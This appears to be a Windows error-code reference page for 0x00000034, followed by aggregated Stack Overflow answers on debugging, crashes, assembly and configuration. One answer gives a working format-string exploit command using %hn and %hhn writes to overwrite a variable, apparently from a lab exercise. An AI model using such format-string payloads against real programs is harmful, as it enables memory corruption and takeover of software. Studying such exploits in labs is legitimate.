Windows error 0x00000034, 52

Detailed Error Information

DUP_NAME[1]

MessageYou were not connected because a duplicate name exists on the network. If joining a domain, go to System in Control Panel to change the computer name and try again. If joining a workgroup, choose another workgroup name.
Declared inwinerror.h

This appears to be a raw Win32 error. More information may be available in error 0x80070034.

CACHE_MANAGER[2]

This is a Blue Screen of Death stop code. More information is available in the Knowledge Base article Bug Check 0x34: CACHE_MANAGER.

HRESULT analysis[3]

This is probably not the correct interpretation of this error. The Win32 error above is more likely to indicate the actual problem.
FlagsSeveritySuccess

This code indicates success, rather than an error. This may not be the correct interpretation of this code, or possibly the program is handling errors incorrectly.

Reserved (R)false
OriginMicrosoft
NTSTATUSfalse
Reserved (X)false
FacilityCode0 (0x000)
NameFACILITY_NULL[3][1]
DescriptionThe default facility code.[3][1]
Error Code52 (0x0034)

Possible solutions

7

Trouble displaying C# stack trace in WinDbg

c#
windbg
stack-trace
handle-leak

WinDbg attempts to interpret the native call stack as best it can, however to fully interpret the stack of a CLR application WinDbg needs to use an extension called SOS. This extension has a separate command CLRStack for viewing the stack information of CLR stacks. You will need to load the SOS extension first however using the .loadby sos clr command (or similar, I remember getting the correct version SOS to load could be a bit of a pain)

For more information see

answered on Stack Overflow Oct 23, 2012 by Justin • edited Oct 23, 2012 by Justin
3

How to catch system.xml.xmlexception

c#
.net
visual-studio
windows-phone-8

There must be some problem with the XML provided by e.Result. Details about this might be in the XmlException message but you only included part of the stack trace.

You will have to figure out what the problem is in the first place and you will probably have to add some logging of what happens BEFORE you call XDocument.Load if you are unable to reproduce the problem on your own system.

You can also add an exception handler but that does not fix the problem but makes your app more robust and allows it to provide a slightly better user interface if something unexpected happens. What you have done is adding an exception handler around the calls to the WebClient methods but you are not catching exceptions thrown by the handler for client.OpenReadCompleted. This is an asynchronous callback that will execute on a threadpool thread, and any uncaught exceptions thrown by this thread will terminate your app.

You need to handle the exception with code like this:

client.OpenReadCompleted += (sender, e) =>
{
    try
    {
        if (e.Error != null)
        {
            return;
        }
        else
            ....
    }
    catch (Exception ex)
    {
        .... log and report the exception to allow the app to continue
    }
 }

And if you decide to add logging to your app it will be very useful to you if you log the entire text returned by ex.ToString(). This will give you a good textual description of the problem including inner exceptions and full stack traces.

answered on Stack Overflow Jul 3, 2014 by Martin Liversage • edited Jul 3, 2014 by Martin Liversage
2

How to catch system.xml.xmlexception

c#
.net
visual-studio
windows-phone-8

Normally is good practice to do catch(Exception), in your case catch(system.xml.XmlException). However put a try-catch inside your else block because this is an asynchronous event and if occurs some exception inside that exception will be not catched:

try 
{
    WebClient client = new WebClient();
    client.OpenReadAsync(new Uri(Url, UriKind.Absolute));
    client.OpenReadCompleted += (sender, e) =>
    {
        if (e.Error != null)
        {
            return;
        }
        else
        {
           try
           {
              System.Xml.Linq.XDocument xmlDoc = XDocument.Load(e.Result);
              IEnumerable<string> strTestURL = from node in xmlDoc.Descendants("url") select node.Value;
              IEnumerable<string> strTestDescription = from node in xmlDoc.Descendants("copyright") select node.Value;
              IEnumerable<string> strTestDate = from node in xmlDoc.Descendants("enddate") select node.Value;
              string strURL = "http://www.bing.com" + strTestURL.First();
              strURL = strURL.Replace("1366x768", "800x480");
              Global.URL1 = strURL;
              Global.URLs[i] = strURL;
              Global.Descriptions[i] = strTestDescription.First();
              Uri Uri = new Uri(Global.URLs[i], UriKind.Absolute);
              Imageallgemein.Source = new BitmapImage(Uri);
              Imageallgemein.Tap += new EventHandler<System.Windows.Input.GestureEventArgs>(onImageTap);
              Imageallgemein.Hold += new EventHandler<System.Windows.Input.GestureEventArgs>(onImageTap);
              Description.Text = Global.Descriptions[i];
              string Year = strTestDate.First().Substring(0, 4);
              string Month = strTestDate.First().Substring(4, 2);
              string Day = strTestDate.First().Substring(6, 2);
              Date.Text = Day + "." + Month + "." + Year;
           }
           catch (XmlException)
           {
                MessageBox.Show(AppResources.Abort, AppResources.msgBoxUrlLoadError, MessageBoxButton.OK);
           }
        }
    };
}
catch (Exception)
{
    MessageBox.Show(AppResources.Abort, AppResources.msgBoxUrlLoadError, MessageBoxButton.OK);
}
answered on Stack Overflow Jul 3, 2014 by Ninita
2

Change display format of DirectX "Object Table"

visual-studio-2012
hlsl
directx-11

You need to change the format through the Graphics Object Table (menu Debug > Graphics > Object Table).

Select your index buffer in the table and then change its format using the Buffer Format combo box at the top of the Graphics Object Table.

answered on Stack Overflow Jul 27, 2013 by AkisK
1

Mac hangs indefinitely at shutdown

macos
kernel

Enable verbose boot mode, which also enables verbose shutdown mode:

sudo nvram boot-args="-v"

(must reboot for that to take effect)

Then watch what's printed to the screen on the next shutdown. Maybe take a picture with your phone.

You can also see all messages that got logged, no matter whether they made it to the syslog file or any other flat text logfile, by running the syslog command. It'll spew a lot of log messages. Scroll back until you find the previous shutdown, and copy all those lines.

Tip: Edit/Update your Question with that information. Wrap the text block in <pre></pre> tags to make it format right.

P.S. If you later decide you don't like verbose booting, you can go back to normal with:

sudo nvram -d boot-args
answered on Super User Jun 20, 2015 by Spiff
1

objdump won't show my ELF sections

arm
objdump
readelf

OK - finally figured it out.

After building and annotating/debugging libbfd (function elf_object_p()) in the context of a little test app, I found why it was not matching on any of BFD supported targets.

I had bad sh_type flags for the section headers: NULL. Emitting STRTAB or PROGBITS (and eventually NOBITS when I get that far) as appropriate and objdump happily walks my image.

Not really surprising, in retrospect - I'm more annoyed I didn't catch this in comparing readelf outputs than anything else :(

Thanks for the help all :)

answered on Stack Overflow Nov 22, 2012 by David Mirabito
1

Using sed and awk together to create replacement maps

bash
shell
sed
awk
objdump

There probably is a more-sophisticated answer to your question than given here (for example, doing the whole process with a single awk, python, or perl program), but until that answer appears you can automate your current process by using eval as below.

You say you are “printing out the sed command to use next, then manually copying and pasting the command and executing it”. Suppose XYZ is the pipeline that generates and prints the sed command. Instead of using XYZ to print/copy/paste, use it to create the sed command to execute, and then use eval to execute the command:

SEDCOM=$(XYZ)
eval $SEDCOM

An example: If we say
t="echo do do do; echo da da da"
$t
the resulting output is
do do do; echo da da da
but if we instead say
eval $t
the output is
do do do
da da da

1

How's RSP decreased here?

assembly
gdb

It's because the return addresses are also 64 bits in size (eg. 0x0000000000400457). When you call func, that value is placed onto the stack and the stack pointer decremented by that amount.

answered on Stack Overflow Mar 28, 2011 by paxdiablo
1

Inneractive Ads cause a lot of App crashes (Windows Phone)

windows-phone-7
windows-phone-8
windows-phone
ads

First, contact InnerActive telling them to fix their software. It's their responsibility.

Meanwhile, if you know how to reproduce the problem, you can try following. Subscribe for all unhandled exceptions (start with Application.UnhandledException, also there're AppDomain.UnhandledException and TaskScheduler.UnobservedTaskException), in the handler search for “Inneractive.Ad.InneractiveAdControl” in the Exception.StackTrace, if found — ignore the exception, and optionally hide or reload the inneractive banner.

answered on Stack Overflow Jan 22, 2014 by Soonts
1

Seg Fault in ARM Assembly

c
assembly
beagleboneblack

The answer to my question was actually really simple. Since ldr r0, =beagle_bone_0 loads the address of beagle_bone_0 into register 0 I can just manipulate beagle_bone_0 with that address.

Working test code:

    .syntax unified

    .data

beagle_bone_0:  .ascii  "Hello, world\n"

    .text

    .global main

main:
    push    {ip, lr}

    ldr     r0, =beagle_bone_0
    mov     r1, #0x65
    strb    r1, [r0]

    bl      printf

    pop     {ip, pc}
answered on Stack Overflow Dec 7, 2014 by schmidt73
0

Mac hangs indefinitely at shutdown

macos
kernel

I had this same problem on my Early 2011 MacBook Pro running OS X Yosemite 10.10.5 and was able to resolve the problem by deleting ~/Library//Preferences/com.apple.finder.plist. I also deleted the ~/Library//Saved Application State/com.apple.finder.savedState folder, but I don't think that was necessary.

answered on Super User Sep 7, 2015 by Mr Vern • edited Sep 7, 2015 by JakeGould
0

String format exploit: set negative value = "-1" use %n

c
string-formatting
exploit

Just use the trick that's described by the end of the first section in the linked article. This comprises splitting the value -1 (0xFFFFFFFFF) into lower and upper word (twice 0xFFFF) and writing these separately to addresses &a and (void*)(&a)+2:

./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn"

Explained:

\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes)
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes)
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535)
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a

The number 7 comes from your previous command:

printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n
                            1^  2^  3^  4^  5^  6^7^

and I stored one more address, so that gets stacked at position 8.

This still makes a lot of output, you can go one step further and write 0xFFFFFFFF byte by byte. It would look like this:

\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255)
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above
%8\$hhn ... the same for the second
%9\$hhn ... the same for the third
%10\$hhn ... the same for the last

Numbers other than 0xFFFFFFFF need some extra output between each %hhn. You need to compute how many garbage bytes to output between them to make up for the respective differences. If you need to go below the previous value use the fact that only a byte is written so the arithmetic goes modulo 256.

answered on Stack Overflow Oct 14, 2017 by The Vee • edited Oct 14, 2017 by The Vee
0

0xC0000005: Access violation writing location 0x00000034

c++
cocos2d-iphone

Remove sprite->release(), this line causes the exception. Sprite class is already an auto-release object and registered in the auto-release pool once it is spawned.

So, when calling replaceScene() , all objects shall not be called will be released. However, it cannot reference the sprite in auto-release pool because it was already released by the line sprite->release() and caused error.

answered on Stack Overflow Jul 10, 2017 by Simon Leung
0

Linphone for Windows Phone Crash - System.Exception: The RPC server is unavailable. (Exception from HRESULT: 0x800706BA)

linphone

After some long debugging I found the cause of the issue. The issue is related to the push notification functionality that is configured in

linphone-wp\Linphone\App.xaml.cs

// Initialize the push channel 
InitPushChannel();

// Initialize the task to listen to incoming call notifications on the push channel 
InitHttpNotificationTask();

I don't use a push notification service, so I commented the code above and it solved the issue.

answered on Stack Overflow Mar 14, 2016 by iprida
0

access violation on clientmoduleunit.pas on client side

delphi
datasnap

According to you Screenshot you get an AV at a low adress $34 that indicates that you are caling methods on an object reference that is nil.

Try this dummy code

procedure TForm22.FormCreate(Sender: TObject);
begin
  TForm(nil).Next;
end;

And have a look at the adress at the AV.

When you try to call a method on a object, the compiler looks in a table called VMT to find trhe offset of the method. This value is added to the adress of the object reference.

In your code you have a property called ServerMethods1Client which is defined like this:

property ServerMethods1Client: TServerMethods1Client read GetServerMethods1Client write FServerMethods1Client;

Try change it to a readonly property

property ServerMethods1Client: TServerMethods1Client read GetServerMethods1Client;

Then the compiler will tell you where you are assiging a nil value to you property.

answered on Stack Overflow May 9, 2015 by Jens Borrisholt • edited May 9, 2015 by Jens Borrisholt
0

How to load a stacktrace into Visual Studio 2013 for offline debugging?

windows
debugging
visual-c++
visual-studio-2013
visual-studio-debugging

You should see a crashdump somewhere, a .dmp file. You can export that through sysinternals PrcessExplorer, not sureif that's possible with the default task manager, but that's of course before the crash. I unfortunately don't know anymore how to force a process to generate a .dmp file on crash..

But once you have the .dmp file, you can open it in VS (I think since 2010, maybe 2012). There are two kinds of dumps, a minidump (basically just including the point of the execution at that point) which is usually < 1 MB, and a "full dump", which incorporates the whole working set of the process afair, which can easily be hundreds of megs. The minidump usually is enough to get started.

Sorry for the incomplete answer, but maybe it gets you on the right track (no time to investigate on my own right now).

answered on Stack Overflow Nov 16, 2014 by hko
0

android sys rtc wakealarm does not boot device when off

android

whoa, did we go in the wrong direction. here's what we did instead:

1) first we needed to know high to low flow of the Android OS using the desk clock as an example:

. / Packages / apps / CameraRecorder.java (was desk clock app. we changed this) 
. / Frameworks / base / core / java / android / app / AlarmManager.java 
. / Frameworks / base / services / java / com / android / server / AlarmManagerService.java 
. / Frameworks / base / services / jni / com_android_server_AlarmManagerService.cpp 
. / Kernel / kernel / drivers / rtc / alarm-dev.c 
. / Kernel / kernel / include / linux / android_alarm.h 
. / Kernel / kernel / drivers / rtc / alarm.c 
. / Kernel / kernel / drivers / rtc / interface.c 
. / kernel / kernel/drivers/rtc/rtc-twl.c (we changed this driver to fit our Android device)  

2) then cherry-pick the code from github (thankfully devs already did what we needed)

https://github.com/AriesVE-DevCon-TEAM/samsung-kernel-msm7x30 https://github.com/CyanogenMod/android_frameworks_base

all this wouldn't have even been possible unless we had CM running on our 32 core server keeping compilation times down to 10-20 minutes.

answered on Stack Overflow May 25, 2014 by complexi • edited May 25, 2014 by complexi
0

Why don't the bytes intersect?

assembly
gdb

They do. It looks like you're forgetting that the address is in hex though. Here are the dwords from above, but with last two digits of the address of each byte below that byte's data:

0x0040045c  0x00000000  0x00000000  0x00000000
  58595a5b    5c5d5e5f    60616263    64656667

0x00000000  0x00000000  0xf401d994  0x00000034
  60616263    64656667    68696a6b    6c6d6e6f

If we match up the addresses, we see that bytes 0x60 through 0x67 are identical between the two (all zeros in both cases).

answered on Stack Overflow Mar 28, 2011 by Jerry Coffin
0

Sort of an event driver

c
linux
linux-kernel
linux-device-driver
raspberry-pi3

tamano or number of elements is declared but never defined in main().

fwrite(escribe ,sizeof(char) ,tamano , archivo);
answered on Stack Overflow Jul 17, 2017 by atomSmasher
0

Linux syscall in vmlinux and virtual memory

linux
memory
linux-kernel
reverse-engineering
system-calls

The useless ret is a stub that is replaced by the right code once the memory has been mapped. The code of system calls maybe located to different places depending on some non-deterministic choices and once the memory address is known, the stub is replaced.

answered on Stack Overflow May 19, 2014 by Thomas Coudray
0

Seg Fault in ARM Assembly

c
assembly
beagleboneblack

I ran and debugged your code. The line mov r0, beagle_bone_0 didn't even compile (on my compiler, at least). You want to load in r0 the address of beagle_bone. For this, you should use the adr pseudo-instruction, that is translated by the compiler in a pc-relative move (something like mov r0, [pc, #8]. You cannot use it this way. Probably your compiler translated it into something different.

So, to fix it, just replace the line mov r0, beagle_bone_0 by adr r0, beagle_bone_0.

Also the string was in the .text section which we cannot edit. So, I put beagle_bone_0 in the .data section.

answered on Stack Overflow Dec 7, 2014 by Paul92 • edited Dec 7, 2014 by user61382
-1

Kannel Cant establish a connection with smsc

sms-gateway
kannel

hello its is all your kannel.conf file? Avoid attribute without value in your conf.

eg: system=

I don't see the SMSBOX-ROUTE CONFIGURATION. You need to configure to forward the flow to the SMSBOX.This configuration work for me. Please update your kannel.conf file that way and try:

#-------------CORE CONFIGURATION  ------------------------
group = core
admin-port=13176
smsbox-port=10176
admin-password=k4nn3l
log-file="/app/kannel-telcow/log/bearerbox.log"
log-level=0
access-log-format="%l [SMSC:%i] [SVC:%n] [ACT:%A] [BINF:%B] [FID:%F] [META:%D] [from:%p] [to:%P] [flags:%m:%c:%M:%C:%d] [msg:%L:%b] [udh:%U:%u]"
admin-allow-ip = "*.*"
box-deny-ip="*.*.*.*"
box-allow-ip="127.0.0.1"
#unified-prefix = "00358,0"
access-log="/app/kannel-telcow/log/access/access.log"


#----------GROUP CONFIGURATION --------------------------
group = smsc
smsc=smpp
transceiver-mode = true
smsc-id=smsc-au-telcow
port=18766
host=120.240.136.6
address-range=""
smsc-username=someid
smsc-password=somepasswd
source-addr-ton=1     
source-addr-npi=1
dest-addr-ton=1
dest-addr-npi=1
bind-addr-ton=1
bind-addr-npi=1
msg-id-type=0x01after this be assure that the executing user have the permission at last to write and read in the log file
alt-charset="ASCII"
keepalive=100
idle-timeout=100
max-pending-submits=10
use-ssl=true
wait-ack=600
throughput=60


#---------SMSBOX CONFIGURATION  -----------------------
group = smsbox
smsbox-id =smsbox
bearerbox-host="127.0.0.1"
sendsms-port=11176
log-file="/app/kannel-telcow/log/error-smsbox.log"
log-level=0
access-log="/app/kannel-telcow/log/smsaccess.log"



#-------------- SMSBOX-ROUTE CONFIGURATION ----------------
group = smsbox-route
smsbox-id =smsbox
smsc-id =smsc-au-telcow


#-------SMS-SERVICE CONFIGURATION --------------------------
group = sms-service
keyword = default
catch-all = true
accept-x-kannel-headers = true
get-url = "http://10.4.163.74/gateway_kannel/KannelEntrance?udh=%u&Command=%k&Sender=%p&SMSbody=%r&receiver=%P&fromSMSC=%i"
omit-empty = true
max-messages = 10
assume-plain-text = true


#-------SENDSMS-USER CONFIGURATION  ----------------------
group = sendsms-user
username = someuser
password = somepwd
default-sender = 6148993003
forced-smsc = smpp
omit-empty = true
max-messages = 10
concatenation = true

#---end.

after this be assure that the executing user have the permission of writting and reading in the log file

answered on Stack Overflow Feb 5, 2018 by AaronMiezan • edited Feb 6, 2018 by Kumar Saurabh

Comments

Leave a comment

(plain text only)

Sources

  1. winerror.h from Windows SDK 10.0.14393.0
  2. https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/bug-check-code-reference2
  3. https://msdn.microsoft.com/en-us/library/cc231198.aspx

User contributions licensed under CC BY-SA 3.0